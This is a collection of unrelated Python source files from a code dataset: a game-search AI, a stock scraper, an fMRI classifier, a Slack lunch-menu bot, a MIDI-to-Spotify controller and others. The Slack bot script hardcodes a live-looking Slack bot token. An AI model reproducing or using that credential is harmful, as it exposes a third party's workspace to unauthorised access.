y location on your side of the board\n y = random.randint(0, 3)\n # Set the move if this space is empty\n if currentState.board[x][y].constr == None and (x, y) not in moves:\n move = (x, y)\n # Just need to make the space non-empty. So I threw whatever I felt like in there.\n currentState.board[x][y].constr == True\n moves.append(move)\n return moves\n elif currentState.phase == SETUP_PHASE_2: # stuff on foe's side\n numToPlace = 2\n moves = []\n for i in range(0, numToPlace):\n move = None\n while move == None:\n # Choose any x location\n x = random.randint(0, 9)\n # Choose any y location on enemy side of the board\n y = random.randint(6, 9)\n # Set the move if this space is empty\n if currentState.board[x][y].constr == None and (x, y) not in moves:\n move = (x, y)\n # Just need to make the space non-empty. So I threw whatever I felt like in there.\n currentState.board[x][y].constr == True\n moves.append(move)\n return moves\n else:\n return [(0, 0)]\n\n ##\n # getMove\n # Description: Gets the next move from the Player.\n #\n # Parameters:\n # currentState - The state of the current game waiting for the player's move (GameState)\n #\n # Return: The Move to be made\n ##\n def getMove(self, currentState):\n frontier0 = []\n frontier1 = []\n frontier2 = []\n frontier3 = []\n expanded = []\n root = Node(None, currentState, self.heuristicStepsToGoal(currentState), 0, None)\n frontier0.append(root)\n\n for i in range(len(frontier0)):\n frontier1 += self.expandNode(frontier0[i])\n\n for i in range(len(frontier1)):\n frontier2 += self.expandNode(frontier1[i])\n \n for i in range(len(frontier2)):\n frontier3 += self.expandNode(frontier2[i])\n\n bestNode = self.bestMove(frontier3)\n \n while bestNode.depth > 1:\n bestNode = bestNode.parent\n\n return bestNode.move\n \n\n\n #Takes in a list of nodes\n #returns the node with the lowest evaluation\n def bestMove(self, listOfNodes):\n lowestNode = listOfNodes[0]\n for node in listOfNodes:\n if node.evaluation < lowestNode.evaluation:\n lowestNode = node\n\n return lowestNode\n\n ##\n # heuristicStepsToGoal\n # Parameters:\n # currentState - the state of the game at this point in time.\n # returns number that represents how good the state is\n #\n def heuristicStepsToGoal(self, state):\n if state.inventories[state.whoseTurn].foodCount == 11:\n return 0\n queen = state.inventories[1-state.whoseTurn].getQueen()\n if not queen:\n return 0\n if state.inventories[1 - state.whoseTurn].getAnthill().captureHealth <= 0:\n return 0\n\n if len(getAntList(state, state.whoseTurn, (SOLDIER,R_SOLDIER))) != 0:\n return 1000\n\n\n turns = 0\n turns += self.foodDistance(state)-30\n turns += self.spawnDrone(state)+40\n turns += self.anthillDistance(state)-20\n #turns += self.queenToAnthill(state)\n turns += self.spawnWorker(state)+40\n turns += self.noWorkers(state)+40\n\n if turns < 0:\n return 5\n return turns\n\n def spawnWorker(self,state):\n workerList = getAntList(state, state.whoseTurn, (WORKER,))\n if len(workerList) != 1:\n return 200\n\n return -30\n\n\n\n #from the state passed in, it returns the approx number of moves to reach 11 food\n def foodDistance(self,state):\n\n foodNeeded = 11-getCurrPlayerInventory(state).foodCount\n\n #get locations of worker ants, food, and anthill/tunnel\n workers = getAntList(state, state.whoseTurn, (WORKER,))\n foodSpots = getCurrPlayerFood(self, state)\n buildings = getConstrList(state, state.whoseTurn, (ANTHILL, TUNNEL))\n\n #gets the min distance from a food to a building\n foodToDropDist, bestFood, bestBuilding = self.minDistanceToTarget(state, buildings, foodSpots)\n\n # bestFood = foodSpots[0]\n # tunnel = getConstrList(state, state.whoseTurn, (TUNNEL,))[0]\n # foodToDropDist = stepsToReach(state, bestFood.coords, tunnel.coords)\n foodToDropRoundTrip = foodToDropDist*2\n\n #estimate on how many turns it will take to reach 11 food\n turns = (foodNeeded-1)*foodToDropRoundTrip+2\n\n #finds turns needed to get next food\n if len(workers) == 0:\n return 75\n ant = workers[0]\n if ant.carrying:\n dist = approxDist(ant.coords, bestBuilding.coords)\n else:\n dist = approxDist(ant.coords, bestFood.coords)+foodToDropDist\n\n turns += dist\n return turns\n\n #helper function for foodScore\n #finds the shortest path between either of the food spots and either the tunnel or anthill\n def minDistanceToTarget(self, state, constrs, foodSpots):\n minDist = 30\n for con in constrs:\n dist = approxDist(foodSpots[0].coords, con.coords)\n if dist < minDist:\n minDist = dist\n bestFood = foodSpots[0]\n bestBuild = con\n\n\n return minDist, bestFood, bestBuild\n\n def queenToAnthill(self, state):\n queen = getAntList(state, state.whoseTurn, (QUEEN,))[0]\n if getConstrAt(state, queen.coords):\n return 30\n dist = stepsToReach(state, queen.coords, (5,1))\n return dist\n\n def spawnDrone(self, state):\n droneList = getAntList(state, state.whoseTurn, (DRONE,))\n if len(droneList) == 1:\n return -30\n enemyQueen = getEnemyInv(None, state).getQueen()\n if not enemyQueen:\n return -100\n if len(droneList) == 2 and enemyQueen.coords != getEnemyInv(None,state).getAnthill().coords:\n return -50\n return 50\n\n def anthillDistance(self, state):\n # locations\n enemyTunnel = getEnemyInv(self, state).getTunnels()[0]\n enemyAnthill = getEnemyInv(self, state).getAnthill()\n myAttackList = getAntList(state, state.whoseTurn, (DRONE,))\n\n turns = 0\n\n if (len(myAttackList)) == 0:\n return 0\n\n if (len(myAttackList) == 1):\n # gets the min distance from a drone to enemy anthill\n droneToTunnel = approxDist(myAttackList[0].coords, enemyTunnel.coords)\n turns += droneToTunnel\n elif (len(myAttackList) >= 2):\n droneToTunnel = approxDist(myAttackList[0].coords, enemyTunnel.coords)\n turns += droneToTunnel\n droneToTunnel = approxDist(myAttackList[1].coords, enemyAnthill.coords)\n turns += droneToTunnel\n return turns\n\n def getAttack(self, currentState, attackingAnt, enemyLocations):\n #Attack a random enemy.\n return enemyLocations[random.randint(0, len(enemyLocations) - 1)]\n\n def noWorkers(self,state):\n workers = getAntList(state, state.whoseTurn, (WORKER,))\n drones = getAntList(state, state.whoseTurn, (DRONE,))\n enemyAnts = getAntList(state, 1-state.whoseTurn)\n if len(workers) == 0 and len(drones) != 0 and len(enemyAnts) != 0:\n dist = approxDist(drones[0].coords,enemyAnts[0].coords)\n return dist*5\n return 0\n\n #takes a single node\n #returns all nodes that can be reached from that node\n def expandNode(self, node):\n #gets all legal moves from the state in the node\n moves = listAllLegalMoves(node.state)\n\n nodes = []\n for move in moves:\n state = getNextState(node.state, move)\n #eval = self.heuristicStepsToGoal(state)\n if(state.whoseTurn == 1):\n eval = self.heuristicStepsToGoal(state)\n else:\n eval = 1 - self.heuristicStepsToGoal(state)\n nodes.append(Node(move, state, eval, node.depth+1, node))\n\n return nodes\n\n\nclass Node:\n def __init__(self, move, state,eval,depth = 0,parent=None):\n self.move = move\n self.state = state\n self.depth = depth\n self.evaluation = depth + eval\n self.parent = parent\n\n\n\n#tests for heuristic steps to goal functions\n\nai = AIPlayer(random)\nstate = GameState(None,None,None,None)\nstate = state.getBasicState()\n\n\n\n#test for spawnWorker\nassert ai.spawnWorker(state) == 200\n\n#adds a worker to player 0 inventory\nworker = Ant((1,1),WORKER,0)\nstate.inventories[0].ants.append(worker)\n\n#test for spawning worker\n#returns -50 if you have 1 worker\nassert ai.spawnWorker(state) == -30\n\n\nassert ai.anthillDistance(state) == 0\n\n#test for spawnDrone\nassert ai.spawnDrone(state) == 50\n\ndrone = Ant((3,3),DRONE,0)\nstate.inventories[0].ants.append(drone)\nassert ai.spawnDrone(state) == -30\n\n#checks if function returns distance greater than zero\nassert ai.anthillDistance(state) > 0\n\ndrone2 = Ant((3,4),DRONE,0)\nstate.inventories[0].ants.append(drone2)\nassert ai.spawnDrone(state) == 50\n\nfood = Construction((1,4),FOOD)\nstate.inventories[2].constrs.append(food)\n\n\nassert ai.minDistanceToTarget(state, [state.inventories[0].getAnthill()],\n getConstrList(state, 2, (FOOD,)))[0] < 30\nassert ai.minDistanceToTarget(state, [state.inventories[0].getAnthill()],\n getConstrList(state, 2, (FOOD,)))[1] == getConstrList(state, 2, (FOOD,))[0]\n\n\nfood2 = Construction((2,3),FOOD)\nfood3 = Construction((6,8),FOOD)\nfood4 = Construction((7,5),FOOD)\nstate.inventories[2].constrs.append(food2)\nstate.inventories[2].constrs.append(food3)\nstate.inventories[2].constrs.append(food4)\n#foodDistance\nassert ai.foodDistance(state) > 0\n\nassert ai.heuristicStepsToGoal(state) > 0\n\n#tests the bestMove method, returns node with smallest eval\nnode1 = Node(None, None, 50)\nnode2 = Node(None, None, 25)\nnodes = [node1, node2]\nassert ai.bestMove(nodes) == node2","sub_path":"ReAntics/src/AI/untitled folder (1)/untitled folder/search_Refactoring.py","file_name":"search_Refactoring.py","file_ext":"py","file_size_in_byte":12207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"430076341","text":"#-*- coding:utf-8 -*-\n\"\"\"\n@author: Lucy\n@file: get_stock_list.py\n@time: 2018/01/28\n\"\"\"\n\nimport datetime\nfrom lxml import etree\nfrom urllib import request\nfrom scripts import constants as ct\n\nurl = 'http://quote.eastmoney.com/stocklist.html'\nreg = '//div[@id=\"quotesearch\"]/ul/li/a/text()'\npath = ct.constant.STOCK_LIST_FILE_DIR + datetime.date.today().strftime('%Y-%m-%d') + ct.constant.STOCK_LIST_FILE_TYPE\n\n\n# 获取网页内容\ndef getHtml(url):\n page = request.urlopen(url)\n html = page.read().decode('gbk')\n return html\n\n# xpath解析路径\ndef parseHtml(reg, html):\n selector = etree.HTML(html.lower())\n result = selector.xpath(reg)\n return result\n\n# 获取A股股票代码\ndef getCode(stock_list):\n codes = []\n for stock in stock_list:\n code_1 = stock.split('(')[1]\n code_2 = str.replace(code_1, ')', '')\n code_3 = code_2.strip()\n if code_3.startswith(('6', '3', '0')):\n codes.append(code_3)\n return codes\n\n# 写入文件\ndef write(stock_a_codes, path):\n try:\n f = open(path, 'w')\n for code in stock_a_codes:\n f.writelines(code + '\\n')\n f.close()\n except FileNotFoundError:\n print(\"文件不存在\")\n except PermissionError:\n print(\"无权操作该文件\")\n\n\nhtml = getHtml(url)\nstock_list = parseHtml(reg, html)\nstock_a_codes = getCode(stock_list)\nwrite(stock_a_codes, path)","sub_path":"scripts/get_stock_list.py","file_name":"get_stock_list.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"335996571","text":"\"\"\"Inicializačné parametre k segmentácii\"\"\"\n\nimport numpy as np\n\nfrom tensorflow.python.framework import ops\nops.reset_default_graph()\n\nseed = 10\nrand = np.random.RandomState(seed=seed)\n\n# Model parameters.\n# Number of processing (message-passing) steps.\nnum_processing_steps_tr = 6\nnum_processing_steps_ge = 6\n\n# Data / training parameters.\nnum_training_iterations = 100\ntheta = 3\n# Large values (1000+) make trees. Try 20-60 for good non-trees.\nbatch_size_tr = 1\nbatch_size_ge = 1\n# Number of nodes per graph sampled uniformly from this range.\nnum_nodes_min_max_tr = (8, 17)\nnum_nodes_min_max_ge = (16, 33)\n\n# Optimizer.\nlearning_rate = 5e-3\nbeta1 = 0.9\nbeta2 = 0.999\nepsilon = 2e-10 # pôvodne 1e-08\nuse_locking = False\n# Starting and ending image used for training\ntrain_start_image=0 #minimum 0\ntrain_end_image=1 #maximum 24\n# Starting and ending image used for testing\ntest_start_image=24 #minimum 24\ntest_end_image=27 #mmaximum 29\n# Time of logging into console\nlog_every_seconds = 180\n# Log and output on X iterations\niteration_count=0\nlog_every_outputs = 30\n#region of edges\nregion=1","sub_path":"initialization.py","file_name":"initialization.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"239085568","text":"import numpy as np\nimport pandas as pd\nfrom scipy import io\nfrom sklearn.decomposition import PCA\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.utils import shuffle\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import normalize\nimport nibabel as nib\n\n\n# function to extract brain voxel area and exclude background and non-voxel area\n\ndef create_mask_image(img_data, threshold):\n # create a numpy array to store new images\n new_image_data = np.zeros(img_data.shape)\n # for each 30*30 image slice\n \n for slice_num in range(img_data.shape[2]):\n for sample_num in range(img_data.shape[3]):\n # apply a threshold to supress non-brain area to 0\n # retain the original value of the brain area\n mask_image = np.where(img_data[:,:,slice_num, sample_num] > threshold, img_data[:,:,slice_num, sample_num], 0)\n # overwrite the new image\n new_image_data[:,:,slice_num, sample_num]=mask_image\n return new_image_data\n\n\n\ndef validation(image_file, label_file):\n # load image from the fmri file\n # then convert it into numpy file\n img = nib.load('data/sub-01/ses-test/func/sub-01_ses-test_task-fingerfootlips_bold.nii')\n img = nib.load(image_file)\n img_data = img.get_fdata()\n labels = io.loadmat('data/label.mat')['label']\n\n\n # get brain mask\n masked_image = create_mask_image(img_data, 200)\n\n # make sure the masked images have the sampe shape as original images\n assert(img_data.shape==masked_image.shape)\n # reshape labels and flatten images for training\n masked_image = masked_image.reshape(184,-1)\n labels = labels.reshape(184,)\n # normalize the mask images \n masked_image = normalize(masked_image, norm='l2')\n\n # upsample the minority classes to have better performence\n labels=list(labels)\n masked_image = list(masked_image)\n for i in range(700):\n if labels[i]!=1:\n labels.append(labels[i])\n masked_image.append(masked_image[i])\n\n\n # flatten the masked image\n labels=np.array(labels)\n masked_image=np.array(masked_image)\n\n # use pca to reduce training dimension of data\n pca = PCA(n_components=90)\n pca_train = pca.fit_transform(masked_image)\n\n # convert the data to 0 mean and unit variance\n scaler = StandardScaler()\n pca_train=scaler.fit_transform(pca_train)\n\n # use kfold to get select model\n # shuffle the data to prevent imbalanced class to dominate\n pca_train, labels = shuffle(pca_train, labels, random_state=43)\n\n\n ## SVM model\n # \n clf_svm = SVC(kernel='rbf', C=100, gamma=\"auto\")\n svm_scores = cross_val_score(clf_svm, pca_train, labels, cv=8)\n avg_svm = sum(svm_scores)/len(svm_scores)\n print(\"the average validation accuracy for svm model is: {}\".format(avg_svm))\n\n clf_gbm = GradientBoostingClassifier(n_estimators = 200, max_depth=4, random_state=43)\n gbm_scores = cross_val_score(clf_gbm, pca_train, labels, cv=8)\n avg_gbm = sum(gbm_scores)/len(gbm_scores)\n print(\"the average validation accuracy for gradient boosting model is: {}\".format(avg_gbm))\n\n\n\n\n\n\nif __name__ == \"__main__\":\n \n image = 'data/sub-01/ses-test/func/sub-01_ses-test_task-fingerfootlips_bold.nii'\n labels = 'data/label.mat'\n validation(image, labels)\n \n image_retest = 'data/sub-01/ses-retest/func/sub-01_ses-retest_task-fingerfootlips_bold.nii'\n labels = 'data/label.mat'\n validation(image_retest, labels)\n","sub_path":"hw3/wx2251_WeiyaoXie_Assignment3/wx2251_WeiyaoXie_Assignment3.py","file_name":"wx2251_WeiyaoXie_Assignment3.py","file_ext":"py","file_size_in_byte":3759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"233759579","text":"\r\n# coding: utf-8\r\n\r\n# In[19]:\r\n\r\n\r\n#!/usr/bin/env python\r\n# encoding=utf-8\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom bs4 import BeautifulSoup\r\n\r\nfrom slacker import Slacker\r\n\r\nimport datetime\r\n\r\nimport time\r\n\r\nutcnow = datetime.datetime.utcnow()\r\ntime_gap = datetime.timedelta(hours=9)\r\nkor_time = utcnow + time_gap\r\n\r\ntoken = 'xoxb-635226523987-648512436519-scZw4qPol0aHD7SGjebMlYRK'\r\nslack = Slacker(token)\r\n\r\ndriver = webdriver.Chrome(r\"C:\\Users\\Administrator\\Desktop\\chromedriver_win32\\chromedriver.exe\")\r\n\r\ntime.sleep(10)\r\n\r\ndriver.implicitly_wait(100)\r\n\r\ndriver.get('http://bab.hexa.pro/')\r\n\r\ndriver.implicitly_wait(100)\r\ntime.sleep(12)\r\ndriver.find_element(By.CLASS_NAME, \"selector\").click()\r\n\r\ntime.sleep(1)\r\n\r\nel1=[]\r\nel1=driver.find_elements_by_class_name(\"ng-tns-c5-2\")\r\nel1[3].click()\r\n\r\ntime.sleep(3) # as the AWS server is too slow, it needs some time to wait for loading of web\r\n\r\nhtml = driver.page_source\r\n\r\ndriver.close()\r\n\r\nsoup = BeautifulSoup(html, 'html.parser')\r\n\r\nrestaurants = soup.find_all(\"div\", \"card-wrapper container wide ng-star-inserted\")\r\n\r\n# make a message\r\nmessage = \"\"\r\nfor k in range(len(restaurants)):\r\n rest= restaurants[k].find_all(\"div\", \"card-wrapper__header\")\r\n message+=rest[0].find_all(\"h1\")[0].string +\"\\n\"\r\n rest_menu= restaurants[k].find_all(\"div\", \"card-wrapper__inner\")\r\n ls= rest_menu[0].find_all(\"div\", \"card ng-star-inserted\")\r\n\r\n for i in range(len(ls)):\r\n message+=\" -\"+ls[i].find_all(\"h1\")[0].string+\"\\n\"\r\n menu = ls[i].find_all(\"div\", \"card__list__item ng-star-inserted\")\r\n for j in range(len(menu)):\r\n message+= \" \"+menu[j].string+\"\\n\"\r\n message+=\"\\n\"\r\n message+=\"\\n\"\r\n\r\n# sends a message to slack users\r\nattachments_dict = dict()\r\nattachments_dict['title'] = \"점심\"\r\nattachments_dict['text'] = message\r\nattachments_dict['mrkdwn_in'] = [\"text\", \"pretext\"] # 마크다운을 적용시킬 인자들을 선택합니다.\r\nattachments = [attachments_dict]\r\n\r\nslack.chat.post_message(channel=\"#menubot\", attachments=attachments)\r\n","sub_path":"menuSlackBot.py","file_name":"menuSlackBot.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"587106630","text":"\"\"\"\n// Time Complexity :T = O(n) for traversing through entire BT.\n// Space Complexity :O(h)\n// Did this code successfully run on Leetcode :YES\n// Any problem you faced while coding this :NA\n\n//Explanation:\nAdd nodevalue, and currentsum in stack.\ntraverse till the end of the tree->Add the currentsum in finalsum\npop the node from the stack along with it's currentsum.\nstart traversing from this new node.\n\"\"\"\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\n# recursive\nclass Solution:\n # recursive\n result = 0\n def sumNumbers(self, root: TreeNode) -> int:\n self.helper(root,0)\n return self.result\n\n def helper(self,root: TreeNode,currentSum):\n # base\n if root is None:\n return\n\n # logic\n if root.left is None and root.right is None:\n self.result += currentSum * 10 + root.val\n self.helper(root.left,currentSum * 10 + root.val)\n self.helper(root.right,currentSum * 10 + root.val)\n\n# iterative\nclass Solution:\n currentSum = 0\n def sumNumbers(self, root: TreeNode) -> int:\n stack = []\n FinalSum = 0\n while root is not None or len(stack) != 0:\n while root is not None:\n self.currentSum = self.currentSum * 10 + root.val\n stack.append([root,self.currentSum])\n root = root.left\n root,self.currentSum = stack.pop(-1)\n #print(\"*\",type(root),self.currentSum)\n if root.left is None and root.right is None:\n FinalSum += self.currentSum\n root = root.right\n return FinalSum\n","sub_path":"45SumRoottoLeafNumbers.py","file_name":"45SumRoottoLeafNumbers.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"585487395","text":"import tkinter as tk\n\nimport my_http\nimport my_conn\n\n\nclass Keypad(object):\n def __init__(self, parent, window_mode_button, theme):\n self.__parent = parent\n self.__window_mode = window_mode_button\n self.theme = theme\n\n self.KEYPAD_BTN_FONT = tk.font.Font(family='Helvetica', size=24, weight=tk.font.BOLD)\n self.single_wnd_fn = tk.font.Font(family='Helvetica', size=16, weight=tk.font.BOLD)\n self.all_window_mode = tk.IntVar() # checkbutton\n self.single_window = tk.IntVar() # radiobutton\n\n self.openAll = self.__create_cool_btn(\n text=\"Auf\",\n command=lambda: self.do_all_windows(self.openAll, my_conn.CMD_OPEN_ALL))\n self.stopAll = self.__create_cool_btn(\n text=\"Stopp\",\n command=lambda: self.do_all_windows(self.stopAll, my_conn.CMD_STOP_ALL))\n self.closeAll = self.__create_cool_btn(\n text=\"Zu\",\n command=lambda: self.do_all_windows(self.closeAll, my_conn.CMD_CLOSE_ALL))\n\n self.roomWindow = []\n for wnd_id, lbl, _ in my_http.WINDOWS:\n btn = tk.Radiobutton(parent, text=lbl, indicatoron=0,\n variable=self.single_window, value=wnd_id,\n command=parent.reset_screensaver,\n bg=theme.KEYPAD_SINGLE_BTN_BG,\n fg=theme.KEYPAD_SINGLE_BTN_FG,\n activeforeground=theme.KEYPAD_SINGLE_BTN_ACTIVE,\n font=self.single_wnd_fn,\n borderwidth=0,\n activebackground=self.theme.KEYPAD_BTN_ACTIVE_BG,\n selectcolor=self.theme.KEYPAD_BTN_ACTIVE_BG,\n highlightbackground=self.theme.KEYPAD_BTN_BORDER,\n relief=tk.FLAT,\n highlightthickness=0)\n self.roomWindow.append(btn)\n\n room_btn_open = self.__create_cool_btn(\n text=\"Auf\",\n command=lambda: self.do_one_window(room_btn_open, my_conn.CMD_OPEN))\n self.roomWindow.append(room_btn_open)\n room_btn_stop = self.__create_cool_btn(\n text=\"Stopp\",\n command=lambda: self.do_one_window(room_btn_stop, my_conn.CMD_STOP))\n self.roomWindow.append(room_btn_stop)\n room_btn_close = self.__create_cool_btn(\n text=\"Zu\",\n command=lambda: self.do_one_window(room_btn_close, my_conn.CMD_CLOSE))\n self.roomWindow.append(room_btn_close)\n\n def __highlight_button(self, btn):\n btn.configure(bg=self.theme.KEYPAD_BTN_ACTIVE_BG)\n btn.configure(activebackground=self.theme.KEYPAD_BTN_ACTIVE_BG)\n btn.configure(activeforeground=self.theme.KEYPAD_BTN_ACTIVE_FG)\n btn.configure(fg=self.theme.KEYPAD_BTN_ACTIVE_FG)\n\n def reset_button(self, btn):\n btn.configure(bg=self.theme.KEYPAD_BTN_BG)\n btn.configure(activebackground=self.theme.KEYPAD_BTN_BG)\n btn.configure(fg=self.theme.KEYPAD_BTN_FG)\n btn.configure(activeforeground=self.theme.KEYPAD_BTN_FG)\n\n def __create_cool_btn(self, text, command):\n return tk.Button(self.__parent, text=text, command=command,\n font=self.KEYPAD_BTN_FONT, relief=tk.FLAT,\n fg=self.theme.KEYPAD_BTN_FG, activebackground=self.theme.KEYPAD_BTN_BG,\n activeforeground=self.theme.KEYPAD_BTN_FG,\n highlightbackground=self.theme.KEYPAD_BTN_BORDER)\n\n def show(self, show_all_buttons):\n top = 150\n space = 90\n left = 455\n width = 325\n height = 75\n\n if show_all_buttons:\n for wnd in self.roomWindow:\n wnd.place_forget()\n\n self.__window_mode.configure(activebackground=\"#112233\")\n\n self.openAll.place(x=left, y=top, width=width, height=height)\n self.stopAll.place(x=left, y=top + space, width=width, height=height)\n self.closeAll.place(x=left, y=top + 2 * space, width=width, height=height)\n\n else:\n self.openAll.place_forget()\n self.stopAll.place_forget()\n self.closeAll.place_forget()\n\n self.__window_mode.configure(activebackground=\"black\")\n\n wnd_id = 0\n top = 100\n width = 105\n height = 55\n x = left\n y = top\n for wnd in self.roomWindow:\n if wnd_id == 9:\n x += width + 5\n wnd.place(x=x, y=y, width=width, height=height)\n x += width + 5\n if x > 700 or wnd_id == 9:\n x = left\n y = y + height + 5\n if wnd_id == 9:\n y += 5\n wnd_id = wnd_id + 1\n\n def window_one(self):\n return self.single_window.get()\n\n def reset_all_button(self):\n self.reset_button(self.openAll)\n self.reset_button(self.stopAll)\n self.reset_button(self.closeAll)\n for wnd in self.roomWindow:\n if isinstance(wnd, tk.Button):\n self.reset_button(wnd)\n\n def do_all_windows(self, btn, cmd):\n self.__highlight_button(btn)\n# self.__parent.update()\n\n self.__parent.do_all_windows(cmd)\n\n btn.after(2 * 1000, self.reset_button, btn)\n\n def do_one_window(self, btn, cmd):\n self.__highlight_button(btn)\n# self.__parent.update()\n\n self.__parent.do_one_window(self.window_one(), cmd)\n\n btn.after(2 * 1000, self.reset_button, btn)\n\n def set_theme(self, theme):\n self.theme = theme\n\n buttons = [btn for btn in self.roomWindow if isinstance(btn, tk.Button)]\n buttons += [self.openAll, self.stopAll, self.closeAll]\n\n for btn in buttons:\n btn.configure(font=self.KEYPAD_BTN_FONT,\n fg=self.theme.KEYPAD_BTN_FG,\n activebackground=self.theme.KEYPAD_BTN_BG,\n activeforeground=self.theme.KEYPAD_BTN_FG,\n highlightbackground=self.theme.KEYPAD_BTN_BORDER)\n","sub_path":"User/rpi.py/src/gui/my_keypad.py","file_name":"my_keypad.py","file_ext":"py","file_size_in_byte":6232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"642002602","text":"#coding=utf-8\n#!/usr/bin/env python3\nimport re\n\ndef main():\n inp = input()\n res = re.search(r\"^(([0-9]){5}|([0-9]){8}|(((ZY)|(SY)|(BY))([0-9]){7}))$\", inp)\n print(res!=None)\n \n\nif __name__=='__main__':\n main()\n","sub_path":"oj/5E.py","file_name":"5E.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"531367052","text":"#!/usr/bin/python\n\nimport time\nimport dbus\nimport jack\nimport datetime\nimport json\nimport requests\nfrom mididings import *\n\nechonest_apikey = \"\"\nbus = dbus.SessionBus()\npend = 0\nbpm_g = 0\n\nproxy = bus.get_object('org.mpris.MediaPlayer2.spotify', '/org/mpris/MediaPlayer2')\ninterface = dbus.Interface(proxy, dbus_interface='org.mpris.MediaPlayer2.Player')\njackclient = jack.Client(\"Hackday\")\n\ntracks=[\"spotify:track:3H94aUCpXRXG1HvWiSRuQq\",\"spotify:track:3OYiqgiXQ4h6OI5v26ee2V\",\"spotify:track:3PT0k3OSezJ2LDJp4ZCS5q\",\"spotify:track:4UeuoNaP2KfmtIgpcB1mt1\",\"spotify:track:7Jx1kzhvTpJexmejFFt08t\"]\n\ndef getTracks(tempo):\n global tracks\n url = \"http://developer.echonest.com/api/v4/song/search\"\n trackind = 0\n query = {\n \"api_key\" : \"\",\n \"format\" : \"json\",\n \"results\" : \"5\",\n \"style\" : \"electro\",\n \"max_tempo\" : \"129.0\",\n \"min_tempo\" : \"128.0\",\n \"key\" : \"4\",\n \"mode\" : \"0\",\n \"bucket\" : [ \"id:spotify\" , \"tracks\" ],\n \"sort\" : \"loudness-desc\" }\n query[\"api_key\"] = echonest_apikey\n query[\"min_tempo\"] = tempo - 3\n query[\"max_tempo\"] = tempo + 3\n\n print(\"Tempo query\")\n print(query[\"min_tempo\"])\n print(query[\"max_tempo\"])\n \n resp = requests.get(url=url,params=query)\n data = json.loads(resp.text)\n for alltracks in data[\"response\"][\"songs\"]:\n tracks[trackind] = alltracks[\"tracks\"][0][\"foreign_id\"]\n trackind += 1\n print(alltracks[\"tracks\"][0][\"foreign_id\"])\n\n\ndef controllerfy(ev):\n if ev.type == PROGRAM:\n global tracks\n if ev.data2 == 0:\n interface.OpenUri(tracks[0])\n time.sleep(0.1)\n interface.Stop()\n return ev\n elif ev.data2 == 40:\n interface.OpenUri(tracks[1])\n time.sleep(0.1)\n interface.Stop()\n return ev\n elif ev.data2 == 78:\n interface.OpenUri(tracks[2])\n time.sleep(0.1)\n interface.Stop()\n return ev\n elif ev.data2 == 95:\n interface.OpenUri(tracks[3])\n time.sleep(0.1)\n interface.Stop()\n return ev\n elif ev.data2 == 7:\n interface.OpenUri(tracks[4])\n time.sleep(0.1)\n interface.Stop()\n return ev\n elif ev.data2 == 67:\n getTracks(bpm_g)\n return ev\n else:\n print(\"Program change not parsed\")\n print(ev.data1)\n print(ev.data2)\n return None\n elif ev.type == CTRL:\n if ev.data1 == 92:\n interface.PlayPause()\n return ev\n else:\n return None\n else:\n return None\n\ndef temporead(ev):\n if ev.type == SYSRT_CLOCK:\n global pend\n global t1\n global t2\n global bpm_g\n if pend == 0:\n t1 = datetime.datetime.now()\n pend = 1\n else:\n t2 = datetime.datetime.now()\n pend = 0\n delta = t2 - t1\n bpm = ( 60000000 / delta.microseconds ) / 24\n diff = abs( bpm_g - bpm )\n if ( diff / float(bpm)) * 100 > 5 and bpm < 280 and bpm > 60:\n bpm_g = bpm\n print(bpm_g)\n return ev\n else:\n return None\n\n\nconfig (\n backend='alsa',\n client_name='hackday',\n)\n\njackclient.disconnect(\"PulseAudio JACK Sink:front-left\", \"system:playback_1\")\njackclient.disconnect(\"PulseAudio JACK Sink:front-right\", \"system:playback_2\")\n\nrun(\n [\n Process(controllerfy),\n Filter(SYSRT_CLOCK) % Process(temporead)\n ]\n)\n","sub_path":"cannes.py","file_name":"cannes.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"378422073","text":"\"\"\"The sqlalchemy plugin\"\"\"\n\nfrom __future__ import absolute_import, division, print_function, with_statement, unicode_literals\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm.session import sessionmaker\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom multiprocessing.util import register_after_fork\nimport tornado.options\nimport oz\n\nfrom .actions import *\nfrom .middleware import *\nfrom .options import *\n\nBase = declarative_base()\n_engine = None\n_session = None\n\nclass _AfterFork(object):\n \"\"\"\n Ensures cleanup of sqlalchemy connections after a fork is done. This guard\n is here because sqlalchemy connections cannot be shared across processes.\n \"\"\"\n\n registered = False\n\n def __call__(self):\n global _engine\n global _session\n\n # Child must reregister\n self.registered = False\n\n _engine.dispose()\n _engine = None\n _session = None\n\nafter_fork = _AfterFork()\n\ndef setup():\n \"\"\"Initializes the tables if they don't exist already\"\"\"\n return Base.metadata.create_all(engine())\n\ndef engine():\n global _engine\n\n if _engine == None:\n kwargs = dict(echo=oz.settings[\"debug_sql\"])\n\n if oz.settings[\"db_pool_size\"]:\n kwargs[\"pool_size\"] = oz.settings[\"db_pool_size\"]\n if oz.settings[\"db_max_overflow\"]:\n 